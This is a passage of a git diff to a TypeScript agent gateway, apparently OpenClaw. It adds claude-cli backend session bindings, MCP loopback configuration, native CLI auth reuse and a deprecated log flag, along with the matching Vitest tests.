defaultThinkLevel: params.defaultThinkLevel,
|
||||
extraSystemPrompt: params.extraSystemPrompt,
|
||||
@@ -100,7 +110,6 @@ export function buildSystemPrompt(params: {
|
||||
ttsHint,
|
||||
memoryCitationsMode: params.config?.memory?.citations,
|
||||
});
|
||||
return prompt;
|
||||
}
|
||||
|
||||
export function normalizeCliModel(modelId: string, backend: CliBackendConfig): string {
|
||||
|
||||
@@ -2,3 +2,4 @@ import { createSubsystemLogger } from "../../logging/subsystem.js";
|
||||
|
||||
export const cliBackendLog = createSubsystemLogger("agent/cli-backend");
|
||||
export const CLI_BACKEND_LOG_OUTPUT_ENV = "OPENCLAW_CLI_BACKEND_LOG_OUTPUT";
|
||||
export const LEGACY_CLAUDE_CLI_LOG_OUTPUT_ENV = "OPENCLAW_CLAUDE_CLI_LOG_OUTPUT";
|
||||
|
||||
@@ -1,4 +1,8 @@
|
||||
import { resolveHeartbeatPrompt } from "../../auto-reply/heartbeat.js";
|
||||
import {
|
||||
createMcpLoopbackServerConfig,
|
||||
getActiveMcpLoopbackRuntime,
|
||||
} from "../../gateway/mcp-http.js";
|
||||
import { resolveSessionAgentIds } from "../agent-scope.js";
|
||||
import {
|
||||
buildBootstrapInjectionStats,
|
||||
@@ -29,6 +33,8 @@ import type { PreparedCliRunContext, RunCliAgentParams } from "./types.js";
|
||||
const prepareDeps = {
|
||||
makeBootstrapWarn: makeBootstrapWarnImpl,
|
||||
resolveBootstrapContextForRun: resolveBootstrapContextForRunImpl,
|
||||
getActiveMcpLoopbackRuntime,
|
||||
createMcpLoopbackServerConfig,
|
||||
};
|
||||
|
||||
export function setCliRunnerPrepareTestDeps(overrides: Partial<typeof prepareDeps>): void {
|
||||
@@ -103,11 +109,25 @@ export async function prepareCliRunContext(
|
||||
config: params.config,
|
||||
agentId: params.agentId,
|
||||
});
|
||||
const mcpLoopbackRuntime =
|
||||
backendResolved.id === "claude-cli" ? prepareDeps.getActiveMcpLoopbackRuntime() : undefined;
|
||||
const preparedBackend = await prepareCliBundleMcpConfig({
|
||||
enabled: backendResolved.bundleMcp,
|
||||
backend: backendResolved.config,
|
||||
workspaceDir,
|
||||
config: params.config,
|
||||
additionalConfig: mcpLoopbackRuntime
|
||||
? prepareDeps.createMcpLoopbackServerConfig(mcpLoopbackRuntime.port)
|
||||
: undefined,
|
||||
env: mcpLoopbackRuntime
|
||||
? {
|
||||
OPENCLAW_MCP_TOKEN: mcpLoopbackRuntime.token,
|
||||
OPENCLAW_MCP_AGENT_ID: sessionAgentId ?? "",
|
||||
OPENCLAW_MCP_ACCOUNT_ID: params.agentAccountId ?? "",
|
||||
OPENCLAW_MCP_SESSION_KEY: params.sessionKey ?? "",
|
||||
OPENCLAW_MCP_MESSAGE_CHANNEL: params.messageProvider ?? "",
|
||||
}
|
||||
: undefined,
|
||||
warn: (message) => cliBackendLog.warn(message),
|
||||
});
|
||||
const reusableCliSession = resolveCliSessionReuse({
|
||||
@@ -146,7 +166,6 @@ export async function prepareCliRunContext(
|
||||
contextFiles,
|
||||
modelDisplay,
|
||||
agentId: sessionAgentId,
|
||||
backendId: backendResolved.id,
|
||||
});
|
||||
const systemPromptReport = buildSystemPromptReport({
|
||||
source: "run",
|
||||
|
||||
@@ -10,24 +10,25 @@ import {
|
||||
} from "./cli-session.js";
|
||||
|
||||
describe("cli-session helpers", () => {
|
||||
it("persists binding metadata alongside provider session ids", () => {
|
||||
it("persists binding metadata alongside legacy session ids", () => {
|
||||
const entry: SessionEntry = {
|
||||
sessionId: "openclaw-session",
|
||||
updatedAt: Date.now(),
|
||||
};
|
||||
|
||||
setCliSessionBinding(entry, "codex-cli", {
|
||||
setCliSessionBinding(entry, "claude-cli", {
|
||||
sessionId: "cli-session-1",
|
||||
authProfileId: "openai-codex:work",
|
||||
authProfileId: "anthropic:work",
|
||||
authEpoch: "auth-epoch",
|
||||
extraSystemPromptHash: "prompt-hash",
|
||||
mcpConfigHash: "mcp-hash",
|
||||
});
|
||||
|
||||
expect(entry.cliSessionIds?.["codex-cli"]).toBe("cli-session-1");
|
||||
expect(getCliSessionBinding(entry, "codex-cli")).toEqual({
|
||||
expect(entry.cliSessionIds?.["claude-cli"]).toBe("cli-session-1");
|
||||
expect(entry.claudeCliSessionId).toBe("cli-session-1");
|
||||
expect(getCliSessionBinding(entry, "claude-cli")).toEqual({
|
||||
sessionId: "cli-session-1",
|
||||
authProfileId: "openai-codex:work",
|
||||
authProfileId: "anthropic:work",
|
||||
authEpoch: "auth-epoch",
|
||||
extraSystemPromptHash: "prompt-hash",
|
||||
mcpConfigHash: "mcp-hash",
|
||||
@@ -38,10 +39,11 @@ describe("cli-session helpers", () => {
|
||||
const entry: SessionEntry = {
|
||||
sessionId: "openclaw-session",
|
||||
updatedAt: Date.now(),
|
||||
cliSessionIds: { "codex-cli": "legacy-session" },
|
||||
cliSessionIds: { "claude-cli": "legacy-session" },
|
||||
claudeCliSessionId: "legacy-session",
|
||||
};
|
||||
|
||||
expect(resolveCliSessionReuse({ binding: getCliSessionBinding(entry, "codex-cli") })).toEqual({
|
||||
expect(resolveCliSessionReuse({ binding: getCliSessionBinding(entry, "claude-cli") })).toEqual({
|
||||
sessionId: "legacy-session",
|
||||
});
|
||||
});
|
||||
@@ -50,14 +52,15 @@ describe("cli-session helpers", () => {
|
||||
const entry: SessionEntry = {
|
||||
sessionId: "openclaw-session",
|
||||
updatedAt: Date.now(),
|
||||
cliSessionIds: { "codex-cli": "legacy-session" },
|
||||
cliSessionIds: { "claude-cli": "legacy-session" },
|
||||
claudeCliSessionId: "legacy-session",
|
||||
};
|
||||
const binding = getCliSessionBinding(entry, "codex-cli");
|
||||
const binding = getCliSessionBinding(entry, "claude-cli");
|
||||
|
||||
expect(
|
||||
resolveCliSessionReuse({
|
||||
binding,
|
||||
authProfileId: "openai-codex:work",
|
||||
authProfileId: "anthropic:work",
|
||||
}),
|
||||
).toEqual({ invalidatedReason: "auth-profile" });
|
||||
expect(
|
||||
@@ -77,7 +80,7 @@ describe("cli-session helpers", () => {
|
||||
it("invalidates reuse when stored auth profile or prompt shape changes", () => {
|
||||
const binding = {
|
||||
sessionId: "cli-session-1",
|
||||
authProfileId: "openai-codex:work",
|
||||
authProfileId: "anthropic:work",
|
||||
authEpoch: "auth-epoch-a",
|
||||
extraSystemPromptHash: "prompt-a",
|
||||
mcpConfigHash: "mcp-a",
|
||||
@@ -86,7 +89,7 @@ describe("cli-session helpers", () => {
|
||||
expect(
|
||||
resolveCliSessionReuse({
|
||||
binding,
|
||||
authProfileId: "openai-codex:personal",
|
||||
authProfileId: "anthropic:personal",
|
||||
authEpoch: "auth-epoch-a",
|
||||
extraSystemPromptHash: "prompt-a",
|
||||
mcpConfigHash: "mcp-a",
|
||||
@@ -95,7 +98,7 @@ describe("cli-session helpers", () => {
|
||||
expect(
|
||||
resolveCliSessionReuse({
|
||||
binding,
|
||||
authProfileId: "openai-codex:work",
|
||||
authProfileId: "anthropic:work",
|
||||
authEpoch: "auth-epoch-b",
|
||||
extraSystemPromptHash: "prompt-a",
|
||||
mcpConfigHash: "mcp-a",
|
||||
@@ -104,7 +107,7 @@ describe("cli-session helpers", () => {
|
||||
expect(
|
||||
resolveCliSessionReuse({
|
||||
binding,
|
||||
authProfileId: "openai-codex:work",
|
||||
authProfileId: "anthropic:work",
|
||||
authEpoch: "auth-epoch-a",
|
||||
extraSystemPromptHash: "prompt-b",
|
||||
mcpConfigHash: "mcp-a",
|
||||
@@ -113,7 +116,7 @@ describe("cli-session helpers", () => {
|
||||
expect(
|
||||
resolveCliSessionReuse({
|
||||
binding,
|
||||
authProfileId: "openai-codex:work",
|
||||
authProfileId: "anthropic:work",
|
||||
authEpoch: "auth-epoch-a",
|
||||
extraSystemPromptHash: "prompt-a",
|
||||
mcpConfigHash: "mcp-b",
|
||||
@@ -146,16 +149,17 @@ describe("cli-session helpers", () => {
|
||||
sessionId: "openclaw-session",
|
||||
updatedAt: Date.now(),
|
||||
};
|
||||
setCliSessionBinding(entry, "codex-cli", { sessionId: "codex-session" });
|
||||
setCliSessionBinding(entry, "claude-cli", { sessionId: "claude-session" });
|
||||
setCliSessionBinding(entry, "codex-cli", { sessionId: "codex-session" });
|
||||
|
||||
clearCliSession(entry, "codex-cli");
|
||||
expect(getCliSessionBinding(entry, "codex-cli")).toBeUndefined();
|
||||
expect(entry.cliSessionIds?.["codex-cli"]).toBeUndefined();
|
||||
expect(getCliSessionBinding(entry, "claude-cli")?.sessionId).toBe("claude-session");
|
||||
|
||||
clearAllCliSessions(entry);
|
||||
expect(entry.cliSessionBindings).toBeUndefined();
|
||||
expect(entry.cliSessionIds).toBeUndefined();
|
||||
expect(entry.claudeCliSessionId).toBeUndefined();
|
||||
});
|
||||
|
||||
it("hashes trimmed extra system prompts consistently", () => {
|
||||
|
||||
@@ -2,6 +2,8 @@ import crypto from "node:crypto";
|
||||
import type { CliSessionBinding, SessionEntry } from "../config/sessions.js";
|
||||
import { normalizeProviderId } from "./model-selection.js";
|
||||
|
||||
const CLAUDE_CLI_BACKEND_ID = "claude-cli";
|
||||
|
||||
function trimOptional(value: string | undefined): string | undefined {
|
||||
const trimmed = value?.trim();
|
||||
return trimmed ? trimmed : undefined;
|
||||
@@ -38,6 +40,12 @@ export function getCliSessionBinding(
|
||||
if (fromMap?.trim()) {
|
||||
return { sessionId: fromMap.trim() };
|
||||
}
|
||||
if (normalized === CLAUDE_CLI_BACKEND_ID) {
|
||||
const legacy = entry.claudeCliSessionId?.trim();
|
||||
if (legacy) {
|
||||
return { sessionId: legacy };
|
||||
}
|
||||
}
|
||||
return undefined;
|
||||
}
|
||||
|
||||
@@ -79,6 +87,9 @@ export function setCliSessionBinding(
|
||||
},
|
||||
};
|
||||
entry.cliSessionIds = { ...entry.cliSessionIds, [normalized]: trimmed };
|
||||
if (normalized === CLAUDE_CLI_BACKEND_ID) {
|
||||
entry.claudeCliSessionId = trimmed;
|
||||
}
|
||||
}
|
||||
|
||||
export function clearCliSession(entry: SessionEntry, provider: string): void {
|
||||
@@ -93,11 +104,15 @@ export function clearCliSession(entry: SessionEntry, provider: string): void {
|
||||
delete next[normalized];
|
||||
entry.cliSessionIds = Object.keys(next).length > 0 ? next : undefined;
|
||||
}
|
||||
if (normalized === CLAUDE_CLI_BACKEND_ID) {
|
||||
delete entry.claudeCliSessionId;
|
||||
}
|
||||
}
|
||||
|
||||
export function clearAllCliSessions(entry: SessionEntry): void {
|
||||
delete entry.cliSessionBindings;
|
||||
delete entry.cliSessionIds;
|
||||
delete entry.claudeCliSessionId;
|
||||
}
|
||||
|
||||
export function resolveCliSessionReuse(params: {
|
||||
|
||||
@@ -20,17 +20,9 @@ describe("updateSessionStoreAfterAgentRun", () => {
|
||||
await fs.rm(tmpDir, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
it("persists the runtime provider/model used by the completed run", async () => {
|
||||
const cfg = {
|
||||
agents: {
|
||||
defaults: {
|
||||
cliBackends: {
|
||||
"codex-cli": { command: "codex" },
|
||||
},
|
||||
},
|
||||
},
|
||||
} as OpenClawConfig;
|
||||
const sessionKey = "agent:main:explicit:test-codex-cli";
|
||||
it("persists claude-cli session bindings without explicit cliBackends config", async () => {
|
||||
const cfg = {} as OpenClawConfig;
|
||||
const sessionKey = "agent:main:explicit:test-claude-cli";
|
||||
const sessionId = "test-openclaw-session";
|
||||
const sessionStore: Record<string, SessionEntry> = {
|
||||
[sessionKey]: {
|
||||
@@ -45,8 +37,11 @@ describe("updateSessionStoreAfterAgentRun", () => {
|
||||
durationMs: 1,
|
||||
agentMeta: {
|
||||
sessionId: "cli-session-123",
|
||||
provider: "codex-cli",
|
||||
model: "gpt-5.4",
|
||||
provider: "claude-cli",
|
||||
model: "claude-sonnet-4-6",
|
||||
cliSessionBinding: {
|
||||
sessionId: "cli-session-123",
|
||||
},
|
||||
},
|
||||
},
|
||||
};
|
||||
@@ -57,16 +52,22 @@ describe("updateSessionStoreAfterAgentRun", () => {
|
||||
sessionKey,
|
||||
storePath,
|
||||
sessionStore,
|
||||
defaultProvider: "codex-cli",
|
||||
defaultModel: "gpt-5.4",
|
||||
defaultProvider: "claude-cli",
|
||||
defaultModel: "claude-sonnet-4-6",
|
||||
result,
|
||||
});
|
||||
|
||||
expect(sessionStore[sessionKey]?.modelProvider).toBe("codex-cli");
|
||||
expect(sessionStore[sessionKey]?.model).toBe("gpt-5.4");
|
||||
expect(sessionStore[sessionKey]?.cliSessionBindings?.["claude-cli"]).toEqual({
|
||||
sessionId: "cli-session-123",
|
||||
});
|
||||
expect(sessionStore[sessionKey]?.cliSessionIds?.["claude-cli"]).toBe("cli-session-123");
|
||||
expect(sessionStore[sessionKey]?.claudeCliSessionId).toBe("cli-session-123");
|
||||
|
||||
const persisted = loadSessionStore(storePath);
|
||||
expect(persisted[sessionKey]?.modelProvider).toBe("codex-cli");
|
||||
expect(persisted[sessionKey]?.model).toBe("gpt-5.4");
|
||||
expect(persisted[sessionKey]?.cliSessionBindings?.["claude-cli"]).toEqual({
|
||||
sessionId: "cli-session-123",
|
||||
});
|
||||
expect(persisted[sessionKey]?.cliSessionIds?.["claude-cli"]).toBe("cli-session-123");
|
||||
expect(persisted[sessionKey]?.claudeCliSessionId).toBe("cli-session-123");
|
||||
});
|
||||
});
|
||||
|
||||
@@ -78,6 +78,13 @@ vi.mock("../plugins/provider-runtime.js", () => ({
|
||||
}
|
||||
return undefined;
|
||||
}
|
||||
if (params.provider === "claude-cli") {
|
||||
return {
|
||||
apiKey: "claude-cli-access-token",
|
||||
source: "Claude CLI native auth",
|
||||
mode: "oauth" as const,
|
||||
};
|
||||
}
|
||||
if (params.provider !== "ollama") {
|
||||
return undefined;
|
||||
}
|
||||
@@ -486,6 +493,28 @@ describe("resolveApiKeyForProvider", () => {
|
||||
).rejects.toThrow('No API key found for provider "xai"');
|
||||
});
|
||||
|
||||
it("reuses native Claude CLI auth for the claude-cli provider", async () => {
|
||||
const resolved = await resolveApiKeyForProvider({
|
||||
provider: "claude-cli",
|
||||
cfg: {
|
||||
agents: {
|
||||
defaults: {
|
||||
model: {
|
||||
primary: "claude-cli/claude-sonnet-4-6",
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
store: { version: 1, profiles: {} },
|
||||
});
|
||||
|
||||
expect(resolved).toEqual({
|
||||
apiKey: "claude-cli-access-token",
|
||||
source: "Claude CLI native auth",
|
||||
mode: "oauth",
|
||||
});
|
||||
});
|
||||
|
||||
it("prefers explicit api-key provider config over ambient auth profiles", async () => {
|
||||
const resolved = await resolveApiKeyForProvider({
|
||||
provider: "openai",
|
||||
|
||||
@@ -68,7 +68,7 @@ const ZAI_GLM5_CASE = {
|
||||
|
||||
function createRuntimeHooks() {
|
||||
return createProviderRuntimeTestMock({
|
||||
handledDynamicProviders: ["anthropic", "zai", "openai-codex"],
|
||||
handledDynamicProviders: ["anthropic", "claude-cli", "zai", "openai-codex"],
|
||||
});
|
||||
}
|
||||
|
||||
@@ -123,6 +123,28 @@ function runAnthropicSonnetForwardCompatFallback() {
|
||||
});
|
||||
}
|
||||
|
||||
function runClaudeCliSonnetForwardCompatFallback() {
|
||||
expectResolvedForwardCompatFallbackWithRegistryResult({
|
||||
result: resolveModelWithRegistry({
|
||||
provider: "claude-cli",
|
||||
modelId: "claude-sonnet-4-6",
|
||||
agentDir: "/tmp/agent",
|
||||
modelRegistry: createRegistry([
|
||||
{
|
||||
provider: "anthropic",
|
||||
modelId: "claude-sonnet-4-5",
|
||||
model: ANTHROPIC_SONNET_TEMPLATE,
|
||||
},
|
||||
]),
|
||||
runtimeHooks: createRuntimeHooks(),
|
||||
}),
|
||||
expectedModel: {
|
||||
...ANTHROPIC_SONNET_EXPECTED,
|
||||
provider: "claude-cli",
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
function runZaiForwardCompatFallback() {
|
||||
const result = resolveModelWithRegistry({
|
||||
provider: ZAI_GLM5_CASE.provider,
|
||||
@@ -154,5 +176,10 @@ describe("resolveModel forward-compat tail", () => {
|
||||
runAnthropicSonnetForwardCompatFallback,
|
||||
);
|
||||
|
||||
it(
|
||||
"preserves the claude-cli provider for anthropic forward-compat fallback models",
|
||||
runClaudeCliSonnetForwardCompatFallback,
|
||||
);
|
||||
|
||||
it("builds a zai forward-compat fallback for glm-5", runZaiForwardCompatFallback);
|
||||
});
|
||||
|
||||
@@ -324,7 +324,8 @@ function buildDynamicModel(
|
||||
maxTokens: patch.maxTokens ?? DEFAULT_CONTEXT_WINDOW,
|
||||
});
|
||||
}
|
||||
case "anthropic": {
|
||||
case "anthropic":
|
||||
case "claude-cli": {
|
||||
if (lower !== "claude-opus-4-6" && lower !== "claude-sonnet-4-6") {
|
||||
return undefined;
|
||||
}
|
||||
|
||||
@@ -28,7 +28,7 @@ function createCliBackendTestConfig() {
|
||||
agents: {
|
||||
defaults: {
|
||||
cliBackends: {
|
||||
"codex-cli": {},
|
||||
"claude-cli": {},
|
||||
"google-gemini-cli": {},
|
||||
},
|
||||
},
|
||||
@@ -185,7 +185,10 @@ describe("runReplyAgent onAgentRunStart", () => {
|
||||
messageProvider: "webchat",
|
||||
sessionFile: "/tmp/session.jsonl",
|
||||
workspaceDir: "/tmp",
|
||||
config: createCliBackendTestConfig(),
|
||||
config:
|
||||
provider === "claude-cli"
|
||||
? { agents: { defaults: { cliBackends: { "claude-cli": {} } } } }
|
||||
: createCliBackendTestConfig(),
|
||||
skillsSnapshot: {},
|
||||
provider,
|
||||
model,
|
||||
@@ -245,16 +248,16 @@ describe("runReplyAgent onAgentRunStart", () => {
|
||||
payloads: [{ text: "ok" }],
|
||||
meta: {
|
||||
agentMeta: {
|
||||
provider: "codex-cli",
|
||||
model: "gpt-5.4",
|
||||
provider: "claude-cli",
|
||||
model: "opus-4.5",
|
||||
},
|
||||
},
|
||||
});
|
||||
const onAgentRunStart = vi.fn();
|
||||
|
||||
const result = await createRun({
|
||||
provider: "codex-cli",
|
||||
model: "gpt-5.4",
|
||||
provider: "claude-cli",
|
||||
model: "opus-4.5",
|
||||
opts: { runId: "run-started", onAgentRunStart },
|
||||
});
|
||||
|
||||
@@ -1516,7 +1519,7 @@ describe("runReplyAgent block streaming", () => {
|
||||
});
|
||||
});
|
||||
|
||||
describe("runReplyAgent cli routing", () => {
|
||||
describe("runReplyAgent claude-cli routing", () => {
|
||||
function createRun() {
|
||||
const typing = createMockTypingController();
|
||||
const sessionCtx = {
|
||||
@@ -1536,10 +1539,10 @@ describe("runReplyAgent cli routing", () => {
|
||||
messageProvider: "webchat",
|
||||
sessionFile: "/tmp/session.jsonl",
|
||||
workspaceDir: "/tmp",
|
||||
config: { agents: { defaults: { cliBackends: { "codex-cli": {} } } } },
|
||||
config: { agents: { defaults: { cliBackends: { "claude-cli": {} } } } },
|
||||
skillsSnapshot: {},
|
||||
provider: "codex-cli",
|
||||
model: "gpt-5.4",
|
||||
provider: "claude-cli",
|
||||
model: "opus-4.5",
|
||||
thinkLevel: "low",
|
||||
verboseLevel: "off",
|
||||
elevatedLevel: "off",
|
||||
@@ -1564,7 +1567,7 @@ describe("runReplyAgent cli routing", () => {
|
||||
isStreaming: false,
|
||||
typing,
|
||||
sessionCtx,
|
||||
defaultModel: "codex-cli/gpt-5.4",
|
||||
defaultModel: "claude-cli/opus-4.5",
|
||||
resolvedVerboseLevel: "off",
|
||||
isNewSession: false,
|
||||
blockStreamingEnabled: false,
|
||||
@@ -1574,7 +1577,7 @@ describe("runReplyAgent cli routing", () => {
|
||||
});
|
||||
}
|
||||
|
||||
it("uses the embedded runner for codex-cli providers", async () => {
|
||||
it("uses the embedded runner for claude-cli provider", async () => {
|
||||
const runId = "00000000-0000-0000-0000-000000000001";
|
||||
const randomSpy = vi.spyOn(crypto, "randomUUID").mockReturnValue(runId);
|
||||
const lifecyclePhases: string[] = [];
|
||||
@@ -1594,8 +1597,8 @@ describe("runReplyAgent cli routing", () => {
|
||||
payloads: [{ text: "ok" }],
|
||||
meta: {
|
||||
agentMeta: {
|
||||
provider: "codex-cli",
|
||||
model: "gpt-5.4",
|
||||
provider: "claude-cli",
|
||||
model: "opus-4.5",
|
||||
},
|
||||
},
|
||||
});
|
||||
|
||||
@@ -1583,6 +1583,14 @@ describe("initSessionState preserves behavior overrides across /new and /reset",
|
||||
authProfileOverride: "20251001",
|
||||
authProfileOverrideSource: "user",
|
||||
authProfileOverrideCompactionCount: 2,
|
||||
cliSessionIds: { "claude-cli": "cli-session-123" },
|
||||
cliSessionBindings: {
|
||||
"claude-cli": {
|
||||
sessionId: "cli-session-123",
|
||||
authProfileId: "anthropic:default",
|
||||
},
|
||||
},
|
||||
claudeCliSessionId: "cli-session-123",
|
||||
} as const;
|
||||
const cases = [
|
||||
{
|
||||
@@ -1633,6 +1641,14 @@ describe("initSessionState preserves behavior overrides across /new and /reset",
|
||||
authProfileOverrideSource: overrides.authProfileOverrideSource,
|
||||
authProfileOverrideCompactionCount: overrides.authProfileOverrideCompactionCount,
|
||||
});
|
||||
expect(result.sessionEntry.cliSessionIds).toBeUndefined();
|
||||
expect(result.sessionEntry.cliSessionBindings).toBeUndefined();
|
||||
expect(result.sessionEntry.claudeCliSessionId).toBeUndefined();
|
||||
|
||||
const stored = JSON.parse(await fs.readFile(storePath, "utf-8"));
|
||||
expect(stored[sessionKey].cliSessionIds).toBeUndefined();
|
||||
expect(stored[sessionKey].cliSessionBindings).toBeUndefined();
|
||||
expect(stored[sessionKey].claudeCliSessionId).toBeUndefined();
|
||||
}
|
||||
});
|
||||
|
||||
@@ -2100,13 +2116,26 @@ describe("persistSessionUsageUpdate", () => {
|
||||
sessionKey,
|
||||
usage: { input: 24_000, output: 2_000, cacheRead: 8_000 },
|
||||
usageIsContextSnapshot: true,
|
||||
providerUsed: "codex-cli",
|
||||
providerUsed: "claude-cli",
|
||||
cliSessionBinding: {
|
||||
sessionId: "cli-session-1",
|
||||
authProfileId: "anthropic:default",
|
||||
extraSystemPromptHash: "prompt-hash",
|
||||
mcpConfigHash: "mcp-hash",
|
||||
},
|
||||
contextTokensUsed: 200_000,
|
||||
});
|
||||
|
||||
const stored = JSON.parse(await fs.readFile(storePath, "utf-8"));
|
||||
expect(stored[sessionKey].totalTokens).toBe(32_000);
|
||||
expect(stored[sessionKey].totalTokensFresh).toBe(true);
|
||||
expect(stored[sessionKey].cliSessionIds?.["claude-cli"]).toBe("cli-session-1");
|
||||
expect(stored[sessionKey].cliSessionBindings?.["claude-cli"]).toEqual({
|
||||
sessionId: "cli-session-1",
|
||||
authProfileId: "anthropic:default",
|
||||
extraSystemPromptHash: "prompt-hash",
|
||||
mcpConfigHash: "mcp-hash",
|
||||
});
|
||||
});
|
||||
|
||||
it("persists totalTokens from promptTokens when usage is unavailable", async () => {
|
||||
|
||||
@@ -197,17 +197,17 @@ describe("gateway run option collisions", () => {
|
||||
);
|
||||
});
|
||||
|
||||
it.each([["--cli-backend-logs", "generic flag"]])(
|
||||
"enables CLI backend log filtering via %s (%s)",
|
||||
async (flag) => {
|
||||
delete process.env.OPENCLAW_CLI_BACKEND_LOG_OUTPUT;
|
||||
it.each([
|
||||
["--cli-backend-logs", "generic flag"],
|
||||
["--claude-cli-logs", "deprecated alias"],
|
||||
])("enables CLI backend log filtering via %s (%s)", async (flag) => {
|
||||
delete process.env.OPENCLAW_CLI_BACKEND_LOG_OUTPUT;
|
||||
|
||||
await runGatewayCli(["gateway", "run", flag, "--allow-unconfigured"]);
|
||||
await runGatewayCli(["gateway", "run", flag, "--allow-unconfigured"]);
|
||||
|
||||
expect(setConsoleSubsystemFilter).toHaveBeenCalledWith(["agent/cli-backend"]);
|
||||
expect(process.env.OPENCLAW_CLI_BACKEND_LOG_OUTPUT).toBe("1");
|
||||
},
|
||||
);
|
||||
expect(setConsoleSubsystemFilter).toHaveBeenCalledWith(["agent/cli-backend"]);
|
||||
expect(process.env.OPENCLAW_CLI_BACKEND_LOG_OUTPUT).toBe("1");
|
||||
});
|
||||
|
||||
it("starts gateway when token mode has no configured token (startup bootstrap path)", async () => {
|
||||
await runGatewayCli(["gateway", "run", "--allow-unconfigured"]);
|
||||
|
||||
@@ -604,6 +604,7 @@ export function addGatewayRunCommand(cmd: Command): Command {
|
||||
"Only show CLI backend logs in the console (includes stdout/stderr)",
|
||||
false,
|
||||
)
|
||||
.option("--claude-cli-logs", "Deprecated alias for --cli-backend-logs", false)
|
||||
.option("--ws-log <style>", 'WebSocket log style ("auto"|"full"|"compact")', "auto")
|
||||
.option("--compact", 'Alias for "--ws-log compact"', false)
|
||||
.option("--raw-stream", "Log raw model stream events to jsonl", false)
|
||||
|
||||
277
src/commands/agent.cli-provider.test.ts
Normal file
277
src/commands/agent.cli-provider.test.ts
Normal file
@@ -0,0 +1,277 @@
|
||||
import fs from "node:fs";
|
||||
import path from "node:path";
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { withTempHome as withTempHomeBase } from "../../test/helpers/temp-home.js";
|
||||
import "../cron/isolated-agent.mocks.js";
|
||||
import { __testing as acpManagerTesting } from "../acp/control-plane/manager.js";
|
||||
import * as cliRunnerModule from "../agents/cli-runner.js";
|
||||
import { FailoverError } from "../agents/failover-error.js";
|
||||
import { loadModelCatalog } from "../agents/model-catalog.js";
|
||||
import * as modelSelectionModule from "../agents/model-selection.js";
|
||||
import { runEmbeddedPiAgent } from "../agents/pi-embedded.js";
|
||||
import type { OpenClawConfig } from "../config/config.js";
|
||||
import * as configModule from "../config/config.js";
|
||||
import { clearSessionStoreCacheForTest } from "../config/sessions.js";
|
||||
import { resetAgentEventsForTest, resetAgentRunContextForTest } from "../infra/agent-events.js";
|
||||
import { resetPluginRuntimeStateForTest } from "../plugins/runtime.js";
|
||||
import type { RuntimeEnv } from "../runtime.js";
|
||||
import { agentCommand } from "./agent.js";
|
||||
|
||||
vi.mock("../logging/subsystem.js", () => {
|
||||
const createMockLogger = () => ({
|
||||
subsystem: "test",
|
||||
isEnabled: vi.fn(() => true),
|
||||
trace: vi.fn(),
|
||||
info: vi.fn(),
|
||||
warn: vi.fn(),
|
||||
error: vi.fn(),
|
||||
debug: vi.fn(),
|
||||
fatal: vi.fn(),
|
||||
raw: vi.fn(),
|
||||
child: vi.fn(() => createMockLogger()),
|
||||
});
|
||||
return {
|
||||
createSubsystemLogger: vi.fn(() => createMockLogger()),
|
||||
};
|
||||
});
|
||||
|
||||
vi.mock("../agents/workspace.js", () => ({
|
||||
DEFAULT_AGENT_WORKSPACE_DIR: "/tmp/openclaw-workspace",
|
||||
DEFAULT_AGENTS_FILENAME: "AGENTS.md",
|
||||
DEFAULT_IDENTITY_FILENAME: "IDENTITY.md",
|
||||
resolveDefaultAgentWorkspaceDir: () => "/tmp/openclaw-workspace",
|
||||
ensureAgentWorkspace: vi.fn(async ({ dir }: { dir: string }) => ({ dir })),
|
||||
}));
|
||||
|
||||
vi.mock("../agents/skills.js", () => ({
|
||||
buildWorkspaceSkillSnapshot: vi.fn(() => undefined),
|
||||
loadWorkspaceSkillEntries: vi.fn(() => []),
|
||||
}));
|
||||
|
||||
vi.mock("../agents/skills/refresh.js", () => ({
|
||||
getSkillsSnapshotVersion: vi.fn(() => 0),
|
||||
}));
|
||||
|
||||
const runtime: RuntimeEnv = {
|
||||
log: vi.fn(),
|
||||
error: vi.fn(),
|
||||
exit: vi.fn(() => {
|
||||
throw new Error("exit");
|
||||
}),
|
||||
};
|
||||
|
||||
const configSpy = vi.spyOn(configModule, "loadConfig");
|
||||
const readConfigFileSnapshotForWriteSpy = vi.spyOn(configModule, "readConfigFileSnapshotForWrite");
|
||||
const runCliAgentSpy = vi.spyOn(cliRunnerModule, "runCliAgent");
|
||||
|
||||
async function withTempHome<T>(fn: (home: string) => Promise<T>): Promise<T> {
|
||||
return withTempHomeBase(fn, { prefix: "openclaw-agent-cli-" });
|
||||
}
|
||||
|
||||
function mockConfig(
|
||||
home: string,
|
||||
storePath: string,
|
||||
agentOverrides?: Partial<NonNullable<NonNullable<OpenClawConfig["agents"]>["defaults"]>>,
|
||||
) {
|
||||
const cfg = {
|
||||
agents: {
|
||||
defaults: {
|
||||
model: { primary: "anthropic/claude-opus-4-6" },
|
||||
models: { "anthropic/claude-opus-4-6": {} },
|
||||
workspace: path.join(home, "openclaw"),
|
||||
...agentOverrides,
|
||||
},
|
||||
},
|
||||
session: { store: storePath, mainKey: "main" },
|
||||
} as OpenClawConfig;
|
||||
configSpy.mockReturnValue(cfg);
|
||||
return cfg;
|
||||
}
|
||||
|
||||
function writeSessionStoreSeed(
|
||||
storePath: string,
|
||||
sessions: Record<string, Record<string, unknown>>,
|
||||
) {
|
||||
fs.mkdirSync(path.dirname(storePath), { recursive: true });
|
||||
fs.writeFileSync(storePath, JSON.stringify(sessions, null, 2));
|
||||
}
|
||||
|
||||
function readSessionStore<T>(storePath: string): Record<string, T> {
|
||||
return JSON.parse(fs.readFileSync(storePath, "utf-8")) as Record<string, T>;
|
||||
}
|
||||
|
||||
function createDefaultAgentResult() {
|
||||
return {
|
||||
payloads: [{ text: "ok" }],
|
||||
meta: {
|
||||
durationMs: 5,
|
||||
agentMeta: { sessionId: "s", provider: "p", model: "m" },
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
function expectLastEmbeddedProviderModel(provider: string, model: string): void {
|
||||
const callArgs = vi.mocked(runEmbeddedPiAgent).mock.calls.at(-1)?.[0];
|
||||
expect(callArgs?.provider).toBe(provider);
|
||||
expect(callArgs?.model).toBe(model);
|
||||
}
|
||||
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
clearSessionStoreCacheForTest();
|
||||
resetAgentEventsForTest();
|
||||
resetAgentRunContextForTest();
|
||||
